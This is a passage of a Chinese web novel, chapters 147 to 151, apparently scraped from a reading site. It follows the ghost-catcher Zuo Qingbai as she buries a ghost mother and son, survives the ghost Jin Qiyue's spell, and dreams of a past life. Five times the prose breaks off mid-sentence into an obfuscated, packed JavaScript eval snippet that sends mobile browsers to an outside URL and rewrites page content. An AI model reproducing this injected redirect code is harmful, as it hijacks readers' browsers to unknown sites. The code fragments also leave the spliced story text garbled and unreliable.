“没问题。你和你儿子的姓名、家世、死亡日期,都写给我,我好立碑。”左轻白爽快地答应下来。 新娘找到纸笔,把信息都写给左轻白。 她写完,把弥月刃碎片从怀中取了出来,交给左轻白。左轻白手中的刀柄发出锐鸣声,刀刃碎片飞向刀柄,两者粘合在一起。 幻境破了。 之后,左轻白找到兰殊尔,两人一同离开这座巨婴城。这座城市是依靠弥月刃碎片的能量建造起来的,如今弥月刃碎片被左轻白拿走,用不了多久,城市就会自行坍塌。 从河里上来后,左轻白问兰殊尔:“你也进幻境了吗?你在幻境看到什么了?” “看到了那些巨婴的心理活动。”兰殊尔说,“它们也挺无助的,想逃离,却怎么也挣不脱那条红背带。” “我们跟它们交过手,知道它们力气大,怎会挣不脱?” “不是力气挣不脱,是心理上。”兰殊尔说。 两人返程时,左轻白忽然对兰殊尔说:“过两天我找个合适的机会,去找那片荒地,我答应了帮那对母子建坟立碑,你就不用去了。” “为什么?” “不是什么大事,也没有危险,我能搞定。” “一起去吧。”兰殊尔的语气不容拒绝。 147. 唯独对我狠心 次日开工,剧组里有几个本地群演,本地群演来找左轻白和兰殊尔合影,左轻白顺便向他们打听那片荒地的消息。 “那地方闹鬼。”群演说。 “怎么个闹法?”左轻白问。 “那里原来是旧社会一个地主的宅子,本来很豪华,打地主的时候变成废墟了,宅子里的人全死了,变成了野鬼留在那里。有个醉汉晚上喝醉酒路过那时,看到野草丛里整整齐齐地走过一行人,看穿着打扮,他们全是地主家的仆人。” “鬼是要害人的。”左轻白说,“它们害过人吗?” “当然了。”群演说,“死过人的土地长出的野果更红、更大、更甜,这你知道吗?” “知道,我以前在山上找野果,专找坟地附近的。” “这种果子长得好是因为肥料足,本来吃了也没什么。” “是啊,可以吃。” “但那片荒地上长的野果不能吃,会毒死人!有人吃过,死了!老人都说那里的果子被孤魂野鬼下了毒,吃了有毒的果子后,人的皮都掉了!吓人得很!” 听完群演的描述,兰殊尔跟左轻白一起分析:“果子被施了鬼术,所以人一吃就死。皮掉了是被鬼扒掉的,它们的人皮腐烂后要换人皮。” “看来不光要立碑,更要把这些厉鬼收了才行!”左轻白愤愤道。 两人坐着休息的时候,左轻白忽然问兰殊尔:“喂,在那个‘教堂’里看到的故事,你有什么感想?” 兰殊尔面无表情地问:“为什么特地问我感想?” “我想听听你们男生对这种母子关系的看法。” “病态。”兰殊尔毫不犹豫地说。 “你们也觉得病态?” “当然。旧式家庭本来就病态,新娘以一个外人的身份进入一个完全陌生的大家庭生活,丈夫还不称职,新娘孤独无依,好不容易生了个孩子,她不得不紧紧抓住孩子,可这样一来,母与子之间的关系因为过于紧密变得病态,儿子容易长成只会喊‘妈妈’的脆弱巨婴,这种情况还会代代相传。” 说到这里,兰殊尔突然来了个转折:“但是,我觉得不用太担心,因为这是旧式家庭模式导致的问题,刚才那位群演也说了,那是个旧社会地主的宅子。旧社会早就过去了,现在是新时代,哪还有这种事?” 左轻白却摇了摇头,不以为然。左轻白点了点自己心口的位置,说:“表面上旧社会是过去了,但不排除有些人心里依然挺旧的。” 左轻白计划当晚就去荒地把女鬼和她儿子的尸骨找出来,建坟立碑,兰殊尔本来打算跟她一起去的,但好巧不巧,导演临时通知兰殊尔晚上要补拍几个打戏镜头,兰殊尔脱不开身,于是左轻白自己去了。 建坟立碑是个体力活儿,难道左轻白要亲自干?当然不,左轻白一到荒地,就把荒地上的小鬼全都抓了起来,她给小鬼戴上铁链,奴役它们干活。 这些小鬼生前是地主府上的仆人,要找的是地主家的儿媳和孙子,它们认识,所以很快就找到了尸骨。 一部分小鬼在挖坑,另一部分在刻碑,都在辛苦劳动,只有左轻白坐在一旁的土包上舒舒服服地监工。 “太轻松了。”左轻白感叹道,“兰殊尔还说要跟着来,完全不需要,我一个人就搞得定。” 这时墓碑刻好了,几个小鬼恭恭敬敬地把刻好的墓碑抬到左轻白面前,请她过目。 左轻白大致看了一下,觉得没什么问题,就让它们把碑立起来。 于是那对母子的坟墓就建好了,左轻白兑现了自己的承诺。 左轻白看了看墓碑上的死亡日期,随口一说:“打地主都是一百多年前的事情了啊。” “是啊,再过几年,就到大.饥.荒了呢。”一个声音幽幽地在左轻白身后响起。 左轻白瞪大眼睛猛的一转头,正好跟金绮月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028027|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四目相对,左轻白吓了一大跳。 金绮月怎么来了? 今晚金绮月看起来十分可怖,她的脸比白纸还白,眼眶被眼黑填满,两只眼睛一片漆黑,没有白的部分,洋娃娃似的脸上布满黑色的繁复花纹,花纹一直蔓延到脖颈。 左轻白问她:“你怎么了?” 金绮月幽幽地说:“你不怕我吗。” “当然不怕,我是你的小若姐姐。”左轻白已经成长成为一个合格的演员,这时候还不忘演戏。 “你若还是我的小若姐姐,那天在中开影业楼顶,为什么吼我?”金绮月委屈巴巴又嗲声嗲气,像是在撒娇。 左轻白赶紧解释:“我没有!我只是不想看到你害人,但我更不希望你有什么不测。”左轻白亲昵地抓住金绮月的手,满脸担忧道:“快告诉姐姐,你的脸怎么了?” 金绮月哈哈大笑,“不测?我能有什么不测?” 她忽然起身转了个圈,一个转圈的工夫她就从左轻白眼前消失不见了,只留下一圈红光。 左轻白连忙转身,只见金绮月瞬移到了刚刚建好的墓碑前。 金绮月手中多了一盏灯笼,她举起灯笼,去照墓碑上刻的字,金绮月露出一个奇异的微笑。 一旁的小鬼哪里抵抗得了神通鬼的压迫力,不停地在那发抖,金绮月用看垃圾一样的眼神轻蔑地扫了一圈。 根本不用金绮月开口,她的目光这么一扫过来,所有小鬼一个接着一个“扑通”下跪。小鬼们朝着金绮月匍匐跪下,抖得跟筛子似的,怕得不敢抬头。 “姐姐杀了这只女鬼?”金绮月一指墓碑,问左轻白。 “是啊。” “既杀了她,又为什么帮她立碑?” “因为我答应了她的,帮她建坟立碑。” “姐姐可真是个好人。”金绮月露出个幽怨的眼神,“姐姐对一个孤魂野鬼都这么好,唯独对我狠心。” 148. 差点就变鬼了 “你认识这个女鬼?”左轻白问。 “认识谈不上,只是我很多年前路过这里,所以记得她嫁的这一家是当地最富有的地主。” 金绮月一边说,一边提着灯笼走向左轻白,她走得不紧不慢,加之背景阴森,所以鬼里鬼气,让人天灵盖直冒寒气。 金绮月从那些跪倒的小鬼身边走过时,身上鬼气骤然加重,她背后显现出神通鬼的女童法相,女童法相张开嘴巴,露出尖牙,凶猛地朝那些小鬼啃了过去,一口吞掉一个。 金绮月吃了这些小鬼。 法相消失,金绮月伸出舌头舔了舔下嘴唇,像是在回味。 左轻白背脊发凉。 金绮月提着灯笼,小步小步走到左轻白身边,挨着左轻白坐下。 “你吃了它们?”左轻白问。 “我不吃你也要杀的,还不如给我当小零食吃掉。”金绮月吮吸着手指说,“我的主要食物是人间苦难,有时也吃吃人、吃吃鬼,当小零食吃。” 金绮月自顾自地往下说:“这地方我算是故地重游,记得当年打地主这里死了一大批人,过了几年闹饥荒又死了一大批人。哎呀,说起来,我可太喜欢饥荒了,饥荒一来,好家伙,遍地都是苦难,那些人一个比一个惨,都是我的食物呐!” 金绮月往左轻白耳朵边凑了凑,耳语道:“偷偷告诉你哦,闹饥荒的时候,人是会吃人的,我也跟着他们一起吃,可好吃了。” 左轻白胃里翻腾,阵阵恶心。 “现在社会发展,农业进步,不会再有饥荒,不会再有人吃人了!”左轻白赶紧打断金绮月的话。 金绮月笑道:“姐姐这么紧张做什么?我现在也不吃人了呀,主要是这么多年,吃腻了。” “你……” “姐姐为何这么大反应?姐姐前世做鬼的时候不也吃过人吗?姐姐不怀念那味道?” “不怀念!我不喜欢吃人,当鬼的时候就不喜欢,只是那时候不得不吃。我转世成人,虽然不知是何原因,但知道再也不用吃人后,我很开心!” “哦,原来是这样。” “那玩意怪恶心的,你也别吃了。” “我说过我已经不吃了呀。” “那就好。”左轻白拼命压制想吐的欲望。 左轻白道:“你这么讨厌人,竟然没有灭世?” “灭什么世?开玩笑,我的食物是人间苦难,是人的苦难,没了人我吃什么?” “也对。”左轻白又问金绮月:“你今天为什么来这里?跟原来这里这家地主有什么渊源吗?” 金绮月嘻嘻笑道:“没有,我只是故地重游,想起了这家人而已,我跟他们没什么渊源。我是特地来找你的。” “找我?” 金绮月叹气道:“我心系姐姐,我本想过尊重姐姐的意愿,若姐姐这一世喜欢做捉鬼师,那就随姐姐去吧。可姐姐一旦做了捉鬼师,就会站在我的对立面,我的心就会好疼好疼。” 金绮月一边说,一边抓起左轻白的一只手,不由分说地把左轻白的手放在自己的心口上。 金绮月问左轻白:“姐姐,你感受到了吗,我的心好疼。” 左轻白有点惊悚,她在心里说:你是鬼,鬼是没有心跳的,我感受什么啊我? 更惊悚的是眼前的金绮月咧开嘴诡异地笑了。 金绮月说:“为了不让我心疼,我只好让姐姐做鬼,这样姐姐就不会站在我的对立面了。可做鬼有几个条件,一要先死掉,我不舍得杀姐姐;二要有很深的执念,姐姐性格洒脱,怕是没有执念;三要害过人,姐姐不会害人。这些条件都无法满足,我只能另辟蹊径。” 她越说,抓着左轻白的手就越紧,不仅如此,她还长出了尖利的长指甲,指甲深深扎入左轻白的皮肉。 左轻白赶紧抽手,但金绮月的长指甲戳入左轻白的血管后就像给左轻白打了一剂麻药一样,左轻白突然动弹不得。 金绮月幽幽地说:“所以我另辟蹊径,想了另外的办法。我从悼青山得到怪树后,怪树助我修炼,我的修为更上一层,于是我新创了一种法术,叫化鬼术,能让跳过上面三个条件,把活人变成鬼,姐姐,今天我就在你身上试试,好不好?” 左轻白瞪大眼睛,她动弹不得,想喊,也喊不出声。 金绮月把长着利爪的手放在左轻白的天灵盖上,说:“这法术是我新创,可能不太稳定,会有点疼,姐姐忍一忍。” 左轻白在心里骂道:忍你妹啊! 金绮月施法了。 左轻白痛得倒吸一口凉气。她感受到一股毒蛇一样的力量从她的天灵盖往里钻,但不是最痛的,最痛的是她身体里不知从哪冒出一股奇怪的能量在抵抗,这股能量从内往外,快把左轻白的身体撑爆了! 就在最痛的一瞬间,左轻白头脑恍惚,她听不到任何声音,眼前的荒地也快速消失,转变成为另外的一幕。 在这一幕里,左轻白看到彩云环绕,她还看到了自己,自己穿着古时候的衣服,站在一座塔的塔尖,手里一左一右拿着两把重剑,突然自己纵身一跃,举剑朝天空劈去。 左轻白还看到,自己的脚踝系着一根红线,红线非常长,柔软轻盈,跟仙女的绸带似的,红线的一端系在自己的脚踝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032319|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,另一端则延伸到地上,系在另一个人的手腕上。 地上这人是个白衣少年,古装打扮,束着长发,气度不凡,仙姿卓约,他双手捏起道家仙诀,在地上盘膝而坐,面容神圣;少年一动不动,手腕系着红绳,正在施法。一股源源不断的力量通过红绳传递到画面中的自己身上。 左轻白看到那白衣少年时,倒吸了一口凉气,原来这人不是别人,是路回。 为什么会有这种奇怪的画面出现?左轻白心想,越想她脑袋越混沌。 她抬头去看跃到天上的自己,只见自己拿着两把重剑拼命地劈天,左轻白不禁在心里发问:我在劈什么? 左轻白想靠近路回,然而她越努力靠近,就离路回越远。 左轻白只好走近那座塔,走近后她看清了塔的名字:采云塔。 “好熟悉的名字,是不是有个公园叫这个名来着?”左轻白喃喃自语。 她正喃喃,突然眼前的画面一转,塔、彩云全都不见了,左轻白又回到了那片荒地。 此时,金绮月像是被什么东西冲击到了一样突然收手,她的爪子被迫离开左轻白的天灵盖,整个人被弹开老远,而左轻白一个激灵,手脚居然恢复了知觉。 远处传来金绮月的咳嗽声。 金绮月不可思议道:“反噬了?怎么可能?化鬼术就算不稳定,也不该反噬得这么厉害!” 金绮月不停咳嗽。 金绮月从黑暗中走了出来,左轻白看到她的模样变回了平常的样子,只是脸色很苍白,看起来有些虚弱,像个需要保护的小女孩。 刚才化鬼术反噬,伤到她了吗?左轻白心想。 金绮月走到左轻白面前,歪着脑袋打量左轻白。 “你看我做什么?”左轻白问。 “是我创的化鬼术有漏洞?还是……”金绮月眨着眼睛,看起来天真无邪,她幽幽地说:“还是小若姐姐你不一般?” 金绮月轻笑起来,像是找到了乐趣一样,说道:“那可真是有趣极了。” 金绮月拿起她的灯笼,跟左轻白打了声招呼:“小若姐姐,我先走了,下次再见。” 说完,她倏的一下凭空消失,只留下一圈红烟。 确定金绮月走了之后,左轻白瘫软在原地,心脏跟打鼓似的,她拍着胸脯道:“好险,差点就变鬼了……” 此时左轻白有很多疑问,她闭上眼,就看到路回盘膝而坐,双手捏起道家仙诀的模样。 “是我的想象吗?路回不是修炼者,我怎么会想象出这种画面?”左轻白自言自语。 左轻白站起来,慢慢地回去了。 149. 要是你能爱我 京城,周夙的公寓,金绮月回到了这里。 因为给左轻白施展化鬼术时被反噬,如今金绮月很虚弱,她不得不凝神打坐,恢复鬼力。 良久,金绮月缓缓睁开眼睛。 她的面色不再那么苍白,而是恢复了红润与弹性,双瞳也没那么鬼气,变得灵动了许多,更加像人了。 金绮月这张人皮就是她生前那张,她很满意这张皮,不想换,她也有这个能力不换,别的小鬼人皮容易腐烂是因为它们太弱小,没有足够的鬼力滋养人皮,而金绮月不一样,她强大,所以保得住自己的人皮。 任何时候强大就是资本。 金绮月动了动手指,又动了动脖子,浑身轻松。 还好,没什么大碍。金绮月想。 但金绮月还是感到有些疲惫,于是她决定睡一觉,睡一觉后恢复得更快。 金绮月在周夙的床上睡着了。 金绮月的睡姿不老实,一条腿赤裸裸地伸了出来,压在被子上。金绮月虽然个子小,但比例很好,一条腿修长匀称,这画面十分性感。 金绮月睡觉的时候,周夙回来了,他一推开卧室门,就看到金绮月睡在自己床上。 一瞬间,周夙连呼吸都不敢呼吸,他小心翼翼、轻手轻脚地走近床边,生怕吵醒了金绮月。 他看到金绮月把一条腿伸出被子,想了想后,周夙轻轻把它挪回了被子里,好像害怕金绮月着凉一样。 哪怕知道金绮月是鬼,鬼不怕冷,周夙还是一如既往地帮金绮月盖被子或者添衣服。 周夙的动作尽可能的轻,避免吵醒金绮月。 见金绮月睡熟了,周夙尝试着轻手轻脚上了床,他只占领了床边边角角的位置,不敢往中间去。 就在这时,忽然金绮月的声音传来:“有胆子上床,没胆子靠近?” 周夙愣了一下,下意识说道:“我吵醒你了吗?” 金绮月睁眼,不爽道:“对,你吵醒我了,怎么罚?” 突然间金绮月猛的伸出手,狠狠揪住周夙的衣领,把他的脑袋往下一摁。周夙只感到一阵天旋地转,反应过来时发现自己身子还在床上,脑袋却挤出了床沿,仰面悬在半空。 金绮月露出恶鬼的眼神,膝盖顶着周夙的胸口,手掐着周夙的脖子,居高临下地压制住周夙。 金绮月微微蹙眉,似乎是真的生气了。 金绮月脑袋一歪,一头长长的黑发垂下来,她问周夙:“我睡得好好的,你偏要来给我盖被子,扰我好觉。闲得没事干了?” “对不起。”周夙被掐得喘不过气来,“你睡颜太美,你就当我……忍不住想碰碰你。” 金绮月脑袋又歪了歪,她打量着周夙,好笑道:“我印象中这种讨人欢喜的话你是不会说的,什么时候也去学了?” 周夙道:“上次你不是说你喜欢讨喜一点的性格吗?我可以试着学。” 金绮月“格格”笑了起来,她用逗小狗一样的语气对周夙说:“你不用学,你就保持现在的样子,我喜欢。” 她一边说,一边用指甲刮了刮周夙的喉结。 周夙的喉结很敏感,金绮月这么一刮,一股酥酥麻麻的感觉传来,周夙突然脸上一红,侧过头去。 金绮月的容貌停止在了16岁,更确切地说是停止在了山洞那晚,所以有些时候周夙不敢直视金绮月的脸,这张脸会勾起他的回忆,进而勾起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034696|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心灵深处的欲望。 金绮月饶有兴趣地打量周夙,忽然她释放鬼气,并故意用鬼气压迫周夙,凡人在压迫下必然感到害怕,轻则瑟瑟发抖,重则当场跪下,但周夙非但不害怕,还依然保持着侧着头、红着脸的状态。 他脸红是因为欲望蠢蠢欲动,这个金绮月当然知道。 金绮月“咦”了一声,说道:“你这人真是奇怪,色欲熏心到连恐惧都能打败?” “唐突你了。” “不唐突,我只是奇怪这世上怎么会有你这样的怪人。” “这世上什么人都有。”周夙真敢回答。 金绮月用力一掐周夙的脖子,把周夙的脑袋又往下摁了摁,顶着周夙胸口的膝盖也加重了力道,周夙下意识想挣扎,突然四条人面蛇不知从哪钻了出来,人面蛇固定住周夙的手脚,让周夙动弹不得。 “放……开我,喘不过气……了。”周夙艰难地说。 金绮月一双阴森森的鬼眼打量着周夙,说:“肉体凡胎,明明这么脆弱,胆子却这么大,真有趣。” 金绮月收紧手指,好像真的要把周夙掐死,周夙快要窒息,就在他以为自己马上要死了的前一秒,金绮月骤然松手,放开了周夙。 周夙本能地大口呼吸。 金绮月从周夙身上起来,那四条人面蛇也不见了踪影。周夙刚才被掐得难受,跪坐在床上一边呼吸一边咳嗽。 金绮月下了床,坐在一旁梳头,她一边梳头一边慢悠悠地说:“能遇到你这样的怪人,也是一种缘分,我决定以后对你好点。” 周夙默默在心里说:好不好不重要,只要这一世我能在你身边就行。当然,要是你能爱我,就更好了。 150. 不给你加戏怎么办啊 从荒地回来后的几天里左轻白总做梦,但是梦境很混乱,每次醒来左轻白都不记得梦境内容。 但这天晚上的梦例外,这天晚上的梦格外清晰。 梦里,左轻白来到一座云雾缭绕的山里,山间有一处道观,道观前有一棵古松,一个十岁左右粉雕玉琢的小男孩在古松下修炼。 男孩虽然面庞稚嫩,但举止老成,气质绝佳,小小年纪就仙气飘飘,可就是因为这份仙气,不免给人距离感。 这时,一个咋咋唬唬的女孩顺着山间小道跑上了山,女孩的年纪跟男孩差不多。 她年纪虽小,又是女孩子,体力却好得很,一口气爬这么高的山,连气都不带喘。 女孩人还没露面,声音就先一步传到了道观:“我来啦!” 本来正在松树下盘膝打坐的男孩站了起来。 女孩走到松树下,左轻白发现她还背了个背篓。 女孩把背篓放下,把里面的粽子拿出来,递给男孩,说道:“端午节到了,这是我包的粽子,吃吧。” “你会包粽子?”男孩问。 “跟村西头的王妈学的。” “可你上次不是说,她害怕你吗?” 女孩没心没肺地笑道:“那时候是害怕我,但我帮她一脚踢开挡在她家门口的巨石后,她对我的态度就变好了。” 女孩看起来性格非常乐观,脸上的笑容一直没消失过,跟一直严肃的男孩比起来,她就像太阳。 女孩说:“我天生力气大,做事又马虎,还有点莽撞,乡亲们怕我是很正常的事,不过没关系,熟了就不怕了,我会跟大家都熟起来的。”说完她笑了起来。 男孩叹道:“你天生神力,别人既害怕又嫉妒,纷纷疏远你,换做是我被这么对待,我一定没你乐观。” 忽然,厚重的云层飘了过来,挡住左轻白的视线。 过了一会,云层散去,呈现在左轻白眼前的还是一座山、一棵古松、一座道观,只是人变了,男孩和女孩变成了少年和少女,少年长身玉立,贵气逼人,他的容貌好得惊人,如上天精心雕刻的一般。 更惊人的是,少年跟路回长得一模一样。 左轻白呆了。 左轻白再去看旁边的少女,更加呆了,这少女怎么长得跟自己一样? 少女递给少年一包礼物,说:“这是最好的普洱茶,听说本来是要运去京城卖给达官贵人的,我半路截了商队,强迫他们卖给我。你爱喝茶,好茶叶送给你再合适不过。” “卖给达官贵人的茶,你也劫?” “那些鱼肉百姓的家伙怎么配得上好东西?你配得上。再说……今天是你生辰,我得准备个拿得出手的礼物送你不是?” “这是你送我的生辰礼物?” “嗯。” “既然如此,今天也是你生辰,我也有礼物要送你。” 旁观的左轻白愣了一下,心想这俩人同年同月同日生? 少年带少女走入道观,一直走到挨着后山的一个池子前,池子里竖着两把玄色巨剑,看起来很有分量感,似有千斤重。 少年对少女说:“池子里这对重剑,一把叫‘刺月’,一把叫‘弥月’,是我送你的生辰礼物。这两把重剑一般人举不起来,但你天生神力,可以轻松举起,最适合你了。” 左轻白突然大脑“嗡”了一下,仿佛被雷劈了似的。 什么情况? “刺月”是左轻白常用的那把金色巨剑的名字,这件武器是左轻白捉鬼术修炼到一定境界后自己锻造的,“刺月”这个名字是左轻白灵机一动想到的,是她自己取的;至于“弥月”,就是弥月刃了,弥月刃是能杀死神通鬼的神兵利器,名字是谁取的无法查证。 一个“刺月”,一个“弥月”,怎么到了这里就成了这两把玄色重剑的名字了?是巧合吗? 这是在梦境里,于是左轻白动了动意念,金色巨剑出现在了她的右手上,那把刀刃残缺的弥月刃出现在了她的左手上。左轻白看了看自己手上的两把兵器,又看了看池子里的两把兵器,不对啊,长得完全不一样啊。 “是巧合吗?”左轻白问自己。 左轻白闭上眼睛,她脑子有些乱。弥月、刺月……等等,是不是还有一个月? 左轻白猛的一睁眼,是的,是还有一个月——金绮月! 怎么会这么巧? 这些都是巧合吗? 左轻白猛的一拍脑袋,自言自语道:“不行,我脑子不够用了……” 这时,那个跟路回长得一模一样的少年说道:“下个月天女城邀请我去论道,道观麻烦你帮我照看几日。” 那个跟左轻白长得一模一样的少女一拍自己的胸脯,义不容辞道:“没问题!凭你我一起长大的情分,帮忙照看几日道观算得了什么?” 少年转头,意味深长地看了少女一眼,但又迅速把头转了回去,他小声地喃喃自语:“就只是一起长大的情分么……” 少女没听清,凑近他,眨巴眨巴大眼睛,问:“你刚才说什么?” 少年耳朵微红,“没什么。” 他理了理自己的衣袍,恢复了一本正经的模样,对少女说道:“送你的剑,你拿上吧。” “好!”少女很高兴。 少女一跃而起,飞到池子上方,她一只手握一把重剑,居然轻松地把两把重剑同时拔了出来。 果然天生神力。 少女把两把重剑抗在肩上,回到原地,她问少年:“天女城在哪啊?远吗?” 少年道:“不远,就在山的另一边。” 听到这里,左轻白的惊讶已难以言表。 天女城? 是舒家那个天女城吗? 原来这不是什么乱七八糟的梦境,都是有关联的! 左轻白突然慌了起来,她发现这个故事已经远远脱离了掌控。 左轻白慌张道:“山的那一边在哪?天女城…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036112|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时天女城是什么情况?金绮月进天女城了没有?” 左轻白在梦境中狂奔,她想去找天女城,可跑来跑去总跑不出这座山。 突然,山裂了,世界在坍塌,左轻白眼前一黑,昏睡过去。 左轻白悠悠转醒,她以为她会回到现实,回到剧组安排的酒店房间里,没想到她回到的是她原来那个世界,她师父的道观。 眼前的物件是那么熟悉,眼前的人也那么熟悉:师父玄逸,以及左轻白的大师兄、二师兄、三师兄,都在。 “师父?师兄?”左轻白心中一暖,看到他们仿佛看到了依靠。 左轻白把她的梦境告诉了师父和三位师兄。 二师兄边听故事边下棋,自己跟自己下。左轻白讲完后,二师兄落了一子,他皱着眉,摇头道:“这棋局……看不懂。” 三师兄凑了个脑袋过去,问:“很难吗?” “不是难,而是看不明白。”二师兄说。 “我也看不明白。”左轻白盯着二师兄的棋盘,幽幽道。 左轻白坐在椅子上,看上去有些疲惫,她抱头说道:“我以为在这场游戏里,我只要杀了神通鬼就好,但现在我愈发觉得,故事背后还有故事。” 左轻白抬起头,问玄逸:“师父,我记得我第一次回来的时候,你帮我卜卦,你说我之所以会去那个世界,原因很简单,因为那个世界的左轻白被金绮月害死了,所以召唤我过去帮她报仇。本来是很简单的因果,但为什么好像越来越复杂?我怎么觉得……我怎么觉得我跟那个世界还有点别的关系?” 玄逸叹气道:“孩子,你可能忘了,当时我还帮你补出了一卦,那一卦是:你跟路回、金绮月、周夙,宿命纠缠。” 忽然,大师兄一把拉下墨镜,一双眼睛直勾勾地看着左轻白。 “这么看着我干嘛,大师兄?”左轻白问。 “有没有一种可能,小师妹原本就是属于那个世界的?”大师兄说。 “怎么可能?”左轻白道,“我在这边出生啊。” “对了。”玄逸想到了一件事,“《登顶娱乐圈女王》的作者又把文大修了一遍。” 左轻白“蹭”的一下坐起来,脱口而出道:“不是吧,什么作者完结这么久了还大修文啊?” “你的戏份又增多了。”玄逸说。 “我是配角,一个大女主文没事给配角加这么多戏干嘛?”左轻白吐槽道。 《登顶娱乐圈女王》的原著是以金绮月为中心的大女主文。 玄逸“啧”了一声,说:“你活了这么久还没死,那不给你加戏怎么办啊?” “嘿,巴不得你活泼可爱的小徒弟死啊?” “那倒是没这个意思……” “有新番外吗?”左轻白问。 “有。”玄逸道。 “我看看。” 玄逸掏出手机,打开小说阅读APP,找到《登顶娱乐圈女王》的最新番外。 151. 论道日 在《登顶娱乐圈女王》的最新番外中,女主金绮月的追求者之一周夙为了得到女主的芳心,去东南亚请了一尊小佛,简而言之就是想用迷信的手法给女主“下降头”,让女主爱上自己。 读者评论1:下头男,爱情不能使用阴谋诡计。 读者评论2:男的帅不帅?帅的叫病娇,不帅的叫流氓哦。 女主受小佛影响,晚上经常做梦,梦中的场景就发生在天女城。 左轻白进入了女主的梦境,但她没有落在天女城中,而是落在了山中的道观里。 左轻白又看到了那个跟路回长得一模一样的少年,少年正准备出发,他身着道袍,身上包得严严实实,这还不够,连脸都要包得严严实实,让人窥探不到他的相貌。 少年出发下山,左轻白一路跟着。左轻白跟随少年到达了天女城。 这日是天女城的论道日,各地有名的大家都会来参与论道,少年也在受邀之列。 少年递上他的名帖,左轻白看清了名帖上的名字,确切地说是道号,少年的道号是“善渊道人”。 天女城弟子见他长身玉立,姿态不凡,却偏偏把脸遮得严严实实,只露出一双眼睛,便好奇地问他:“道长为何掩面?何不以真面目示人?” 少年道:“师门有训,下山必掩面。师祖之命难违,还请见谅。” 少年语气漠然,下山之后他对谁都冷冷冰冰,他好像就只有在山上面对那少女时才会温柔地笑。 天女城弟子表示理解,不再多问,请少年进城。 少年进城后,接待他的是舒瑾安,也就是周夙的前世。 少年下山后虽然行事淡漠,但跟舒瑾安还算聊得来,两人相谈甚欢,聊了一会后,少年发现舒瑾安时不时眉头微蹙,好像身上哪儿疼。 少年问:“瑾安兄不舒服吗?” 舒瑾安道:“练功的时候后背受了点伤,不碍事。” “没抹药吗?” “抹了金创药,已经没事了,多谢关心。” 少年眉头一皱,不解道:“是吗?可我怎么闻到石灰的味道?” 少年伸手就去扯舒瑾安的衣服,这一举动相当无礼,舒瑾安连忙阻止,没想到那少年的身手比舒瑾安强上许多,舒瑾安阻止无果,少年成功把舒瑾安的衣服拉下一大片,露出后背,后背上有几道伤。 少年眼神疑惑,语气却是冷冷的,他说:“你这伤口本来不严重,却被人撒了石灰粉,石灰粉把伤口都烧烂了,你还说没事?” 少年道:“你是天女城弟子,我与天女城渊源颇深,这样,我帮你找一找那个害你的人吧。”说着,少年闭眼,去嗅空气中石灰的味道,他的五感比常人灵敏得多。 突然,少年睁眼,身形瞬间移动,朝城西南方向飞去。 “道长!”舒瑾安急了,连忙追上。 少年在城西南方向某个角落里精准找到了金绮月,此时金绮月正在把石灰粉装进写着“金创药”的瓶子里去,她这恶女一贯喜欢恶作剧,把石灰粉抹在舒瑾安的伤口上,就是她想出来的折磨人的法子。 少年干脆利落地把金绮月手中那瓶装着石灰粉,却写着“金创药”的瓶子打翻,冷声质问:“就是你做的恶作剧?” 金绮月狠狠瞪了少年一眼,提起裙子跑了。 少年想追,舒瑾安却拦住了他。 “请道长不要声张。”舒瑾安露出哀求的眼神,“若是让长老知道了,长老会罚她的。” “这样的恶女,不该罚吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 